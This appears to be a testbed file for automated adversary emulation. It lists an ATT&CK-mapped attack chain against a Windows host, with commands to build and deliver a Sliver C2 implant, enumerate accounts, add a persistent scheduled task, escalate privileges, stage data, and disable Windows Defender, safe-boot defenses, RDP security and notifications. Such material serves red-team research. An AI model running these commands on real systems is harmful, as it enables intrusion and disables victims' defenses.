Skip to content

Latest commit

 

History

History
29 lines (29 loc) · 16.8 KB

File metadata and controls

29 lines (29 loc) · 16.8 KB

Testbed Information

Target Machine

  • Machine ID: host11
    • OS: windows
    • CVE: []

Attack Steps

uuid name id source supported_platforms tactics technique description execution arguments preconditions effects
0e67b73a-9927-43e1-8f64-04d38f1db57d Build the executable file of a Sliver implant (for Windows) ['T1071.001'] Manual ['windows'] ['Command and Control'] ['Application Layer Protocol - Web Protocols'] The command is used in the Sliver C2 (Command and Control) framework to generate a payload designed for remote access to a target machine.
{'executor': 'Sliver Console', 'command': 'sliver > generate --mtls #{LHOST}:#{LPORT} --os windows --arch 64bit --format exe --save #{SAVE_PATH}\nsliver > mtls --lport #{LPORT}\n'} {'LHOST': {'default': None, 'description': 'IP address of the attacker machine', 'type': None}, 'LPORT': {'default': None, 'description': 'listening port of the attacter machine', 'type': None}, 'SAVE_PATH': {'default': None, 'description': 'Saved path of the generated payload', 'type': None}} ['(os_windows ?target - host)', '(unallocated ?p - payload)', '(unallocated ?file - file)'] ['(sliver_implant_payload ?p - payload ?target - host)', '(file_payload ?p - payload ?file - file)', '(file_prepared_local ?file - file)', '(exe_file ?file - file)', '(unallocated ?p - payload)', '(unallocated ?file - file)']
19301991-c518-46ca-a622-378e1be4f1ad Simulate the victim download and execute malicious payload file as Admin (Root) ['T1204.002'] Manual ['windows'] ['Execution'] ['User Execution: Malicious File'] None {'executor': 'Human', 'command': "(This step needs human interaction and (temporarily) cannot be executed automatically)\n(On attacker's machine)\npython -m http.server\n\n(On victim's machine)\n1. Open #{LHOST}:#{LPORT} in the browser\n2. Navigate to the path of the target payload file\n3. Download the payload file\n4. Execute the payload file to #{PATH} as Admin (Root)\n"} {'HOST': {'default': None, 'description': 'IP address of the attacker machine', 'type': None}, 'LPORT': {'default': None, 'description': 'listening port of the attacter machine', 'type': None}, 'SAVE_PATH': {'default': None, 'description': 'Saved path of the downloaded payload', 'type': None}} ['(file_prepared_local ?file - file)', '(exe_file ?file - file)', '(unallocated ?path - path)'] ['(file_exists ?path - path ?file - file ?t - host)', '(file_executed ?file - file ?t - host)', '(file_executed_as_root ?f - file ?t - host)', '~(unallocated ?path - path)']
1f401bbe-de24-41d2-8e34-d026e25bfb94 Execute a Sliver Implant Payload ['T1071.001'] Sliver ['windows'] ['Command and Control'] ['Application Layer Protocol - Web Protocols'] Executing a Sliver implant payload will establish a Sliver session.
{'executor': 'None', 'command': 'None\n'} None ['(sliver_implant_payload ?p - payload ?t - host)', '(file_payload ?p - payload ?f - file)', '(file_executed ?f - file ?t - host)', '(unallocated ?s - executor)'] ['(sliver_session ?s - executor ?t - host)', '~(unallocated ?s - executor)', {'operator': 'When', 'params': {'condition': '(file_executed_as_root ?f - file ?t - host)', 'effect': '(elevated_executor ?s - executor)'}}]
2074d817-7819-401b-b552-1045672f77f3 Execute Command (cmd.exe) ['T1059.003'] Sliver ['windows'] ['Execution'] ['Command and Scripting Interpreter: Windows Command Shell\n'] The cmd.exe command executes a Windows command. It runs the specified command on the remote host and returns the result. This command is useful for performing various system tasks. {'executor': 'Sliver Executor', 'command': 'cmd(#{SessionID},#{Commands})'} {'SessionID': {'description': 'The session ID of the active Sliver connection.'}} ['(os_windows ?t - host)', '(sliver_session ?s1 - executor ?t - host)'] ['(command_prompt ?s2 - executor ?t - host)', {'operator': 'When', 'params': {'condition': '(elevated_executor ?s1 - executor)', 'effect': '(elevated_executor ?s2 - executor)'}}]
6fbc9e68-5ad7-444a-bd11-8bf3136c477e Enumerate all accounts (Domain) ['T1087.002'] ART ['windows'] ['Discovery'] ['Account Discovery: Domain Account'] Enumerate all accounts
Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session
{'executor': 'Command Prompt Executor', 'command': 'net user /domain\nnet group /domain\n'} None ['(command_prompt ?executor - executor ?target - host)', '(os_windows ?target - host)'] ['(user_info_known ?target - host)']
7bfba376-cebc-4094-b1e6-5103b2e83c4e Execute PowerShell Command ['T1059.001'] Sliver ['windows'] ['Execution'] ['Command and Scripting Interpreter: PowerShell\n'] The powershell.exe command executes a PowerShell script or command on the remote host. This command is useful for performing system monitoring tasks or gathering information about the processes running on a remote machine. {'executor': 'Sliver Executor', 'command': 'powershell(#{SessionID},#{Commands})'} {'SessionID': {'description': 'The session ID of the active Sliver connection.'}} ['(os_windows ?t - host)', '(sliver_session ?s1 - executor ?t - host)'] ['(powershell ?s2 - executor ?t - host)', {'operator': 'When', 'params': {'condition': '(elevated_executor ?s1 - executor)', 'effect': '(elevated_executor ?s2 - executor)'}}]
3b3809b6-a54b-4f5b-8aff-cb51f2e97b34 Process Discovery - Get-Process ['T1057'] ART ['windows'] ['Discovery'] ['Process Discovery'] Utilize Get-Process PowerShell cmdlet to identify processes.

Upon successful execution, powershell.exe will execute Get-Process to list processes. Output will be via stdout.
{'executor': 'Powershell Executor', 'command': 'Get-Process\n'} None ['(powershell ?executor - executor ?target - host)', '(os_windows ?target - host)'] ['(process_info_known ?target - host)']
42f53695-ad4a-4546-abb6-7d837f644a71 Scheduled task Local ['T1053.005'] ART ['windows'] ['Execution', 'Persistence', 'Privilege Escalation'] ['Scheduled Task/Job: Scheduled Task'] Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.
{'executor': 'Command Prompt Executor', 'command': 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}\n'} {'task_command': {'description': 'What you want to execute', 'type': 'string', 'default': 'C:\windows\system32\cmd.exe'}, 'time': {'description': 'What time 24 Hour', 'type': 'string', 'default': 1210}} ['(os_windows ?target - host)', '(command_prompt ?executor - executor ?target - host)', '(file_exists ?task_command - path ?file - file ?target - host)', '(exe_file ?file - file)'] ['(file_execution_at_time ?file - file ?target - host)']
f7f31777-1bbf-4ddc-b7a1-af9f46a5299b Obtain a persistent Sliver Executor [None] Manual ['windows', 'linux', 'macos'] ['Persistence'] [None] Obtain the persistency of Sliver Executor via scheduled payload file execution.
{'executor': 'None', 'command': 'None\n'} None ['(sliver_implant_payload ?p - payload ?target - host)', '(file_payload ?p - payload ?f - file)', {'operator': 'or', 'operands': ['(file_execution_at_time ?f - file ?target - host)', '(file_execution_at_startup ?f - file ?target - host)']}, '(unallocated ?s - executor)'] ['(persistent_sliver_session ?s - executor ?target - host)', '~(unallocated ?s - executor)']
2e8f1a9c-0b5e-4a7c-b6d4-9a8b2d3c5f1e Create Directory ['T1106'] Sliver ['windows', 'linux'] ['Persistence'] ['File System Permissions Modification'] The mkdir command creates a new directory on the target system. {'executor': 'Sliver Executor', 'command': 'mkdir (#{remote_path},#{SessionID})'} {'remote_path': {'description': 'Full path of the directory to create'}, 'SessionID': {'description': 'The session ID of the active Sliver connection.'}} [{'operator': 'or', 'operands': ['(os_windows ?target - host)', '(os_linux ?target - host)']}, '(sliver_session ?executorID - executor ?target - host)'] ['(dir_exists ?path - path ?dir - dir ?target - host)']
a57fbe4b-3440-452a-88a7-943531ac872a Zip a Folder with PowerShell for Staging in Temp ['T1074.001'] ART ['windows'] ['Collection'] ['Data Staged: Local Data Staging'] Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration. Upon execution, Verify that a zipped folder named Folder_to_zip.zip
was placed in the temp directory.
{'executor': 'Powershell Executor', 'command': 'Compress-Archive -Path "#{input_file}" -DestinationPath #{output_file} -Force\n'} {'output_file': {'description': 'Location to save zipped file or folder', 'type': 'path', 'default': None}, 'input_file': {'description': 'Location of file or folder to zip', 'type': 'path', 'default': None}} ['(os_windows ?target - host)', '(powershell ?executor - executor ?target - host)', '(dir_exists ?input_file - path ?dir - dir ?target - host)'] ['(dir_data_saved ?dir - dir ?file - file)', '(file_exists ?output_file - path ?file - file ?target - host)', '(zip_file ?file - file)']
b8cbd2a9-6967-4114-b2b5-162098f74a89 Take Screenshot ['T1113'] Sliver ['windows', 'linux', 'macos'] ['Collection'] ['Screen Capture'] The screenshot() function takes a screenshot of the remote system with screenshot data in PNG format. {'executor': 'Sliver Executor', 'command': 'screenshot(#{SessionID})'} {'SessionID': {'default': None, 'description': 'The session ID of the active Sliver connection.', 'type': None}} [{'operator': 'or', 'operands': ['(os_windows ?t - host)', '(os_linux ?t - host)', '(os_macos ?t - host)']}, '(sliver_session ?s - executor ?t - host)'] ['(screenshot_data_saved ?file - file ?t - host)', '(file_exists ?path - path ?file - file ?t - host)']
5a1d2b9f-4e7f-8a4d-3f7a-6c2e5e9f9f7c Privilege Escalation ['T1134'] Sliver ['windows'] ['Privilege Escalation'] ['Access Token Manipulation'] The get_system command attempts to gain SYSTEM-level privileges. {'executor': 'Sliver Executor', 'command': 'get_system (#{hosting_process},#{config},#{SessionID})'} {'hosting_process': {'description': 'Target process ID or name for privilege escalation'}, 'config': {'description': 'Configuration options for escalation method', 'default': 'Service'}, 'SessionID': {'description': 'The session ID of the active Sliver connection.'}} ['(os_windows ?target - host)', '(sliver_session ?executorID - executor ?target - host)'] ['(elevated_executor ?executorID - executor)']
2074d817-7819-401b-b552-1045672f77f3 Execute Command (cmd.exe) ['T1059.003'] Sliver ['windows'] ['Execution'] ['Command and Scripting Interpreter: Windows Command Shell\n'] The cmd.exe command executes a Windows command. It runs the specified command on the remote host and returns the result. This command is useful for performing various system tasks. {'executor': 'Sliver Executor', 'command': 'cmd(#{SessionID},#{Commands})'} {'SessionID': {'description': 'The session ID of the active Sliver connection.'}} ['(os_windows ?t - host)', '(sliver_session ?s1 - executor ?t - host)'] ['(command_prompt ?s2 - executor ?t - host)', {'operator': 'When', 'params': {'condition': '(elevated_executor ?s1 - executor)', 'effect': '(elevated_executor ?s2 - executor)'}}]
2a78362e-b79a-4482-8e24-be397bce4d85 Safe Mode Boot ['T1562.009'] ART ['windows'] ['Defense Evasion'] ['Impair Defenses: Safe Mode Boot'] Allows adversaries to abuse safe mode to disable endpoint defenses that may not start with limited boot {'executor': 'Elevated Command Prompt Executor', 'command': 'bcdedit /set safeboot network'} None ['(command_prompt ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] ['(endpoint_defense_disabled ?target - host)']
6e0d1131-2d7e-4905-8ca5-d6172f05d03d Disable Windows Shutdown Button ['T1112'] ART ['windows'] ['Defense Evasion'] ['Modify Registry'] Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows shutdown button.
See how ransomware abuses this technique- https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/ransom.msil.screenlocker.a/
{'executor': 'Elevated Command Prompt Executor', 'command': 'reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v shutdownwithoutlogon /t REG_DWORD /d 0 /f\n'} None ['(command_prompt ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] ['(shutdown_button_disabled ?target - host)']
3d47daaa-2f56-43e0-94cc-caf5d8d52a68 Remove Windows Defender Definition Files ['T1562.001'] ART ['windows'] ['Defense Evasion'] ['Impair Defenses: Disable or Modify Tools'] Removing definition files would cause ATP to not fire for AntiMalware. Check MpCmdRun.exe man page for info on all arguments.
On later viersions of windows (1909+) this command fails even with admin due to inusfficient privelages. On older versions of windows the
command will say completed.

https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
{'executor': 'Elevated Command Prompt Executor', 'command': '"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All\n'} None ['(command_prompt ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] ['(anti_malware_disabled ?target - host)']
7bfba376-cebc-4094-b1e6-5103b2e83c4e Execute PowerShell Command ['T1059.001'] Sliver ['windows'] ['Execution'] ['Command and Scripting Interpreter: PowerShell\n'] The powershell.exe command executes a PowerShell script or command on the remote host. This command is useful for performing system monitoring tasks or gathering information about the processes running on a remote machine. {'executor': 'Sliver Executor', 'command': 'powershell(#{SessionID},#{Commands})'} {'SessionID': {'description': 'The session ID of the active Sliver connection.'}} ['(os_windows ?t - host)', '(sliver_session ?s1 - executor ?t - host)'] ['(powershell ?s2 - executor ?t - host)', {'operator': 'When', 'params': {'condition': '(elevated_executor ?s1 - executor)', 'effect': '(elevated_executor ?s2 - executor)'}}]
6b8df440-51ec-4d53-bf83-899591c9b5d7 Tamper with Windows Defender ATP PowerShell ['T1562.001'] ART ['windows'] ['Defense Evasion'] ['Impair Defenses: Disable or Modify Tools'] Attempting to disable scheduled scanning and other parts of windows defender atp. Upon execution Virus and Threat Protection will show as disabled
in Windows settings.
{'executor': 'Elevated Powershell Executor', 'command': 'Set-MpPreference -DisableRealtimeMonitoring 1\nSet-MpPreference -DisableBehaviorMonitoring 1\nSet-MpPreference -DisableScriptScanning 1\nSet-MpPreference -DisableBlockAtFirstSeen 1\n'} None ['(powershell ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] ['(virus_and_threat_protection_disabled ?target - host)']
4b81bcfa-fb0a-45e9-90c2-e3efe5160140 Disable Remote Desktop Security Settings Through Registry ['T1112'] ART ['windows'] ['Defense Evasion'] ['Modify Registry'] A modification registry to disable RDP security settings. This technique was seen in DarkGate malware as part of its installation
{'executor': 'Command Prompt Executor', 'command': 'reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Terminal Services" /v "DisableSecuritySettings" /t REG_DWORD /d 1 /f\n'} None ['(command_prompt ?executor - executor ?target - host)', '(os_windows ?target - host)'] ['(rdp_security_settings_disabled ?target - host)']
003f466a-6010-4b15-803a-cbb478a314d7 Disable Windows Toast Notifications ['T1112'] ART ['windows'] ['Defense Evasion'] ['Modify Registry'] Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows toast notification.
See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
{'executor': 'Elevated Command Prompt Executor', 'command': 'reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications /v ToastEnabled /t REG_DWORD /d 0 /f\n'} None ['(command_prompt ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] ['(toast_notification_disabled ?target - host)']